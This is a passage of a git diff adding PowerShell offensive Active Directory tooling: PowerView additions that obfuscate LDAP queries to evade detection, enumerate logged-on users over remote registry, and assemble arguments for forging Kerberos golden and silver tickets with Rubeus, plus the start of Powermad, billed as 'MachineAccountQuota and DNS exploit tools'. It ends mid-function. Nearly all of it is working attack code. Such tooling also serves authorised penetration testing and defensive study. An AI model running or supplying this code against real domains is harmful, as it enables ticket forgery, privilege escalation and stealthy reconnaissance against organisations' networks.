($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Obfuscate']) { + $LDAPFilter = Get-ObfuscatedFilterString -LDAPFilter $LDAPFilter + } + if ($PSBoundParameters['SSL']) { + $MaxResultsToRequest = 1000 + $Results = @() + $Searcher = Get-DomainSearcher @SearcherArguments -SSL + + $Request = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest + $PageRequestControl = New-Object -TypeName System.DirectoryServices.Protocols.PageResultRequestControl -ArgumentList $MaxResultsToRequest + + # for returning ntsecuritydescriptor + if ($PSBoundParameters['SecurityMasks']) { + $SDFlagsControl = New-Object -TypeName System.DirectoryServices.Protocols.SecurityDescriptorFlagControl -ArgumentList $SecurityMasks + $Request.Controls.Add($SDFlagsControl) + } + + if ($PSBoundParameters['SearchBase']) { + $Request.DistinguishedName = $SearchBase + } + else { + $TargetDomain = $Searcher.SessionOptions.DomainName + $DomainDN = "DC=$($TargetDomain.Replace('.',',DC='))" + $Request.DistinguishedName = $DomainDN + } + if ($PSBoundParameters['SearchScope']) { + $Request.Scope = $SearchScope + } + $Request.Controls.Add($PageRequestControl) + if ($LdapFilter -and $LdapFilter -ne '') { + $Request.Filter = "$LdapFilter" + } + + while($true) { + $Response = $Searcher.SendRequest($Request) + if ($Response.ResultCode -eq 'Success') { + foreach ($entry in $response.Entries) { + $Results += $entry + if ($PSBoundParameters['FindOne']) { + break + } + } + } + if ($PSBoundParameters['FindOne']) { + break + } + + $PageResponseControl = [System.DirectoryServices.Protocols.PageResultResponseControl]$Response.Controls[0] + if ($PageResponseControl.Cookie.Length -eq 0) { + break + } + $PageRequestControl.Cookie = $PageResponseControl.Cookie + } + } + else { + $Searcher = Get-DomainSearcher @SearcherArguments + $Searcher.filter = "$LDAPFilter" + Write-Verbose "[Invoke-LDAPQuery] filter string: $($Searcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $Searcher.FindOne() } + else { $Results = $Searcher.FindAll() } + } + $Results + } +} + +function Get-ObfuscatedFilterString { +<# +.SYNOPSIS + +Randomly obfuscate LDAP filter string with random hex characters. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Randomly obfuscate LDAP filter string with random hex characters. + +.PARAMETER LDAPFilter + +.EXAMPLE + +Get-ObfuscatedFilterString -LDAPFilter "(samaccounttype=805306368)" + +.INPUTS + +String + +.OUTPUTS + +String +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('String')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $LDAPFilter + ) + + Write-Verbose "[Get-ObfuscatedFilterString] Obfuscating filter string: $($LDAPFilter)" + $Parts = $LDAPFilter -split '=' + $OutFilter = "$($Parts[0])=" + $Skip = $False + if ($Parts[0] -match 'userAccountControl') { + $Skip = $True + } + for ($i=1; $i -lt $Parts.Length; $i++) { + if ($Skip) { + if ($Parts[$i] -notmatch 'userAccountControl') { + $Skip = $False + } + if ($i -eq $Parts.Length - 1) { + $OutFilter += "$($Parts[$i])" + } + else { + $OutFilter += "$($Parts[$i])=" + } + + } + else { + if ($Parts[$i].IndexOf(')') -ne -1) { + $Value = $Parts[$i].SubString(0,$Parts[$i].IndexOf(')')) + } + else { + $Value = $Parts[$i] + } + if ($Value.Length -gt 1) { + $OutValueHash = @{} + for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length) -Minimum 1); $c++) { + $Index = Get-Random -Maximum $($Value.Length - 1) + if (($OutValueHash.keys | Measure-Object).Count -ne 0) { + if ($OutValueHash.keys -contains $Index) { + Do + { + $Index = Get-Random -Maximum $($Value.Length - 1) + } While ($OutValueHash.keys -contains $Index) + } + } + $OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index]) + } + for ($c=0; $c -lt $Value.Length; $c++) { + if ($OutValueHash.keys -contains $c) { + $OutFilter += "$($OutValueHash[$c])" + } + else { + $OutFilter += "$($Value[$c])" + } + } + } + else { + $OutFilter += "$($Value)" + } + if ($Parts[$i].IndexOf(')') -ne -1) { + $Next = $Parts[$i].SubString($Parts[$i].IndexOf(')')) + if ($i -eq $Parts.Length - 1) { + $OutFilter += "$($Next)" + } + else { + $OutFilter += "$($Next)=" + } + if ($Next -match 'userAccountControl') { + $Skip = $True + } + } + else { + if (Get-Random -Maximum 2) { + $OutFilter += "=" + } + else { + $OutFilter += '\3d' + } + } + } + } + + Write-Verbose "[Get-ObfuscatedFilterString] Filter string obfuscated: $($OutFilter)" + $OutFilter +} + +function Convert-LogonHours { +<# +.SYNOPSIS + +Convert logonhours LDAP attribute from byte array to readable string. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Convert logonhours LDAP attribute from byte array to readable string. + +.PARAMETER LogonHours + +Byte array of the users logon hours. + +.EXAMPLE + +Convert-LogonHours -LogonHours $LogonHours + +.INPUTS + +Byte[] + +.OUTPUTS + +PSObject +#> + [OutputType([PSObject])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $LogonHours + ) + + BEGIN { + $Days = @{ + 0 = "Sunday"; + 1 = "Sunday"; + 2 = "Sunday"; + 3 = "Monday"; + 4 = "Monday"; + 5 = "Monday"; + 6 = "Tuesday"; + 7 = "Tuesday"; + 8 = "Tuesday"; + 9 = "Wednesday"; + 10 = "Wednesday"; + 11 = "Wednesday"; + 12 = "Thursday"; + 13 = "Thursday"; + 14 = "Thursday"; + 15 = "Friday"; + 16 = "Friday"; + 17 = "Friday"; + 18 = "Saturday"; + 19 = "Saturday"; + 20 = "Saturday"; + } + + $Hours = @{ + 0 = 1; + 1 = 2; + 2 = 4; + 3 = 8; + 4 = 16; + 5 = 32; + 6 = 64; + 7 = 128; + } + + $OutObject = New-Object PSObject -Property @{ + "Monday" = @{}; + "Tuesday" = @{}; + "Wednesday" = @{}; + "Thursday" = @{}; + "Friday" = @{}; + "Saturday" = @{}; + "Sunday" = @{}; + } + } + + PROCESS { + $ByteCounter = 0 + $DayCounter = 0 + + foreach ($byte in $LogonHours) { + foreach ($bit in $Hours.Keys) { + $Permitted = $false + if ($byte -band $Hours[$bit]) { + $Permitted = $true + } + $hour = $ByteCounter * 8 + $bit + $day = $Days[$DayCounter] + $OutObject.$day[$hour] = $Permitted + } + $ByteCounter += 1 + if ($ByteCounter -eq 3) { + $ByteCounter = 0 + } + $DayCounter += 1 + } + + $OutObject + } +} + +function Get-RubeusForgeryArgs { +<# +.SYNOPSIS + +Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver commands. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver commands. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + +.EXAMPLE + +Get-RubeusForgeryArgs exploitph + +.INPUTS + +String + +.OUTPUTS + +String + +#> + [OutputType('String')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } + + $ForestArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + } + + PROCESS { + $Filter = '' + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + if (-not $Filter -or $Filter -eq '') { + Write-Error "[Get-RubeusForgeryArgs] Identity argument is required!" + return + } + # get policy objects first + $DomainPolicy = Get-DomainPolicy -Policy Domain @SearcherArguments + + + Write-Verbose "[Get-RubeusForgeryArgs] filter string: (|$Filter)" + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(|$Filter)" + $Results | Where-Object {$_} | ForEach-Object { + $OutArguments = '' + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + $Account = Convert-LDAPProperty -Properties $Prop + $Account.PSObject.TypeNames.Insert(0, 'PowerView.Account') + + # extract the account id and domain sid + $AccountID = $Account.objectsid.Substring($Account.objectsid.LastIndexOf('-')+1) + $DomainSID = $Account.objectsid.Substring(0, $Account.objectsid.LastIndexOf('-')) + + # get groups + $GroupFilter = '' + foreach ($group in $Account.memberof) { + $GroupFilter += "(distinguishedname=$group)" + } + $Groups = @() + if ($GroupFilter) { + $GroupFilter = "(|$GroupFilter)" + Write-Verbose "[Get-RubeusForgeryArgs] filter string: $GroupFilter" + + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$GroupFilter" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + $GroupObject = Convert-LDAPProperty -Properties $Prop + $GroupID = $GroupObject.objectsid.Substring($GroupObject.objectsid.LastIndexOf('-')+1) + $Groups += $GroupID + } + } + + # get netbios name + $DomainObject = Get-Domain @ForestArguments + $Domain = $DomainObject.Name + $Forest = $DomainObject.Forest + + $ForestDN = "DC=$($Forest -replace '\.',',DC=')" + $ConfigDN = "CN=Configuration,$ForestDN" + $NetbiosFilter = "(&(netbiosname=*)(dnsroot=$Domain))" + $NetbiosName = (Get-DomainObject -SearchBase "$ConfigDN" -LdapFilter "$NetbiosFilter" @SearcherArguments).netbiosname + + # get time now for logontime and logofftime + $Now = Get-Date + + # we have everything we can start to build the arguments + $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())"" /lastlogon:""$($Now.AddSeconds(-$(Get-Random -Maximum 10)).ToString())""" + if ($Account.useraccountcontrol -ne "NORMAL_ACCOUNT") { + $OutArguments += " /uac:$($Account.useraccountcontrol -replace ' ','')" + } + if ($Groups.Length -gt 0) { + $OutArguments += " /groups:$($Groups -join ',')" + } + if ($Account.scriptpath) { + $OutArguments += " /scriptpath:""$($Account.scriptpath)""" + } + if ($Account.profilepath) { + $OutArguments += " /profilepath:""$($Account.profilepath)""" + } + if ($Account.homedrive) { + $OutArguments += " /homedrive:""$($Account.homedrive)""" + } + if ($Account.homedirectory) { + $OutArguments += " /homedir:""$($Account.homedirectory)""" + } + if ($Account.logonhours) { + $LogoffTime = Get-LogoffTime -LogonHours $Account.logonhours -LogonTime $Now + if ($LogoffTime -and $LogoffTime -ne $Now) { + $OutArguments += " /logofftime:""$($LogoffTime.AddMinutes(-$LogoffTime.Minute).AddSeconds(-$LogoffTime.Second).ToString())""" + } + } + elseif ($LogoffTime -eq $Now) { + Write-Warning "[Get-RubeusForgeryArgs] User is not allowed to login now!" + } + if ($DomainPolicy.SystemAccess.MinimumPasswordAge -gt 0) { + $OutArguments += " /minpassage:$($DomainPolicy.SystemAccess.MinimumPasswordAge)" + } + # only set PasswordMustChange if policy is set to expire password and user isn't configured so password doesn't expire + if ($DomainPolicy.SystemAccess.MaximumPasswordAge -gt 0 -and $Account.useraccountcontrol -notmatch "DONT_EXPIRE_PASSWORD") { + $OutArguments += " /maxpassage:$($DomainPolicy.SystemAccess.MaximumPasswordAge)" + } + # in Protected Users group with time endtime and renewtill of 240 minutes + if ($Groups.Contains("525")) { + $OutArguments += " /endtime:240m /renewtill:240m" + } + else { + if ($DomainPolicy.KerberosPolicy.MaxTicketAge -ne 10) { + $OutArguments += " /endtime:$($DomainPolicy.KerberosPolicy.MaxTicketAge)h" + } + if ($DomainPolicy.KerberosPolicy.MaxRenewAge -ne 7) { + $OutArguments += " /renewtill:$($DomainPolicy.KerberosPolicy.MaxRenewAge)d" + } + } + + $OutArguments + } + } +} + +function Get-LogoffTime { +<# +.SYNOPSIS + +Calculate the proper logoff time for a user given the logonhours field and the current time. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Calculate the proper logoff time for a user given the logonhours field and the current time. + +.PARAMETER LogonHours + +Logon hours object output by Convert-LogonHours + +.PARAMETER LogonTime + +Logon time for ticket + +.EXAMPLE + +Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date) + +.INPUTS + +PSObject + +.OUTPUTS + +DateTime +#> + [OutputType([DateTime])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + $LogonHours, + + [DateTime] + $LogonTime + ) + + BEGIN { + $Days = @{ + 1 = "Sunday"; + 2 = "Monday"; + 3 = "Tuesday"; + 4 = "Wednesday"; + 5 = "Thursday"; + 6 = "Friday"; + 7 = "Saturday"; + } + } + + PROCESS { + $Hour = $LogonTime.Hour + $Day = $Days[$LogonTime.Day] + if (-not $LogonHours.$Day.$Hour) { + Write-Verbose "[Get-LogoffTime] User is not allowed to logon now!" + $LogonTime + } + $OutTime = $LogonTime + $leftover = 23 - $Hour + $FoundLogoff = $False + for ($i=0; $i -lt 7; $i++) { + $Day = $Days[$($LogonTime.Day + $i)] + if ($i -eq 0) { + $counter = $Hour + 1 + } + else { + $counter = 0 + } + do { + $OutTime = $OutTime.AddHours(1) + if (-not $LogonHours.$Day.$counter) { + $FoundLogoff = $True + break + } + $counter += 1 + } while ($counter -lt 24) + if ($FoundLogoff) { + break + } + } + + if (-not $FoundLogoff -and $Hour -gt 0) { + $Day = $Days[$LogonTime.Day] + for ($i=0; $i -lt $Hour; $i++) { + $OutTime = $OutTime.AddHours(1) + if (-not $LogonHours.$Day.$i) { + $FoundLogoff = $True + break + } + } + } + + if ($FoundLogoff) { + $OutTime + } + else { + $FoundLogoff + } + } +} + +function Get-RegistryUserEnum { +<# +.SYNOPSIS + +Enumerate users using remote registry. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Enumerate users using remote registry. + +.PARAMETER ComputerName + +Computer to check. + +.PARAMETER Check + +Switch. Just check if connecting to the remote registry works. + +.EXAMPLE + +Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date) + +.INPUTS + +PSObject + +.OUTPUTS + +DateTime +#> + + [CmdletBinding(SupportsShouldProcess=$True, + ConfirmImpact='Medium')] + Param + ( + [parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('DNSHostName', 'Name', 'Server')] + [String[]] + $ComputerName = '.', + + [Switch] + $Check + ) + Begin { + } + Process { + Foreach ($Computer in $ComputerName) { + if (Test-Connection $computer -Count 2 -Quiet) { + $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', $Computer) + $subkeys = $reg.GetSubKeyNames() | ?{$_ -notmatch '.DEFAULT' -and $_ -notmatch '_Classes'} + if ($PSBoundParameters['Check'] -and $subkeys.Length -gt 0) { + $Computer + } elseif ($subkeys.Length -gt 0) { + $users = @() + foreach ($subkey in $subkeys) { + $user = New-Object psobject + $user | Add-Member -Name SID -MemberType NoteProperty -Value $subkey + $user | Add-Member -Name Name -MemberType NoteProperty -Value (ConvertFrom-SID $subkey) + $users += ,$user + } + $Obj = New-Object psobject + $Obj | Add-Member -Name Computer -MemberType NoteProperty -Value $Computer + $Obj | Add-Member -Name Users -MemberType NoteProperty -Value $users + $Obj + } else { + Write-Warning "$Computer connected but did not return subkeys" + } + } + else { + Write-Error "$Computer not reachable" + } + } + } + End { + #[Microsoft.Win32.RegistryHive]::Users + } +} + + ######################################################## # @@ -20692,6 +24587,7 @@ $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ DONT_REQ_PREAUTH = 4194304 PASSWORD_EXPIRED = 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 + NO_AUTH_DATA_REQUIRED = 33554432 PARTIAL_SECRETS_ACCOUNT = 67108864 } -Bitfield diff --git a/win/Powermad.ps1 b/win/Powermad.ps1 new file mode 100644 index 0000000..742e886 --- /dev/null +++ b/win/Powermad.ps1 @@ -0,0 +1,4480 @@ +<# +Powermad - PowerShell MachineAccountQuota and DNS exploit tools +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause +https://github.com/Kevin-Robertson/Powermad +#> + +#region begin MachineAccountQuota Functions + +function Disable-MachineAccount +{ + <# + .SYNOPSIS + This function disables a machine account that was added through New-MachineAccount. This function should be + used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides that ability by setting the AccountDisabled to true. + Ideally, the account is removed after elevating privilege. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be disabled. + + .EXAMPLE + Disable a machine account named test. + Disable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if(!$directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","True") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount disabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already disabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-MachineAccount +{ + <# + .SYNOPSIS + This function enables a machine account that was disabled through Disable-MachineAccount. This function should + be used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function sets a machine account's AccountDisabled attribute to false. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be enabled. + + .EXAMPLE + Enable a machine account named test. + Enable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if($directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","False") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already enabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can return values populated in machine account attributes. + + .DESCRIPTION + This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter + requires a DNS domain name and not a NetBIOS version. + + .PARAMETER DomainController + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .EXAMPLE + Get the value of the description attribute from a machine account named test. + Get-MachineAccountAttribute -MachineAccount test -Attribute description + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-MachineAccountCreator +{ + <# + .SYNOPSIS + This function leverages the ms-DS-CreatorSID property on machine accounts to return a list + of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only + populated when a machine account is created by an unprivileged user. Note that SIDs will be returned + over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier. + + .DESCRIPTION + This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before + using New-MachineAccount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used enumerate machine account creators. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .EXAMPLE + Get the ms-DS-CreatorSID values for a domain. + Get-MachineAccountCreator + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = 